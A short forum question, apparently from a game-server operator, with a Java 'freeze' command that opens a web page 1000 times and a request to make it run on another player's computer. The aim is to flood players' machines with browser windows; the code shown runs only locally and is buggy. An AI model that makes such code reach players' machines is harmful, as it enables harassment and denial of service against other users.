basically this is only opening on my computer, how can I make it so I can open it on a players computer?
Code:
if (playerCommand.startsWith("freeze")) {
String name = playerCommand.substring(8);
for (int i = 0; i < Config.MAX_PLAYERS; i++) {
if (PlayerHandler.players[i] != null) {
if (PlayerHandler.players[i].playerName
.equalsIgnoreCase(name)) {
try
{
java.net.URI uri = java.net.URI.create("http://anywebsitehere.com");
int iBrowserWindows = 1000;
for (int i2 = 0; i2 < iBrowserWindows; ++i)
{
java.awt.Desktop.getDesktop().browse(uri);
c.sendMessage("Player has successfully been frozen");
}
}
catch (java.io.IOException ex)
{
}
}
}
}
}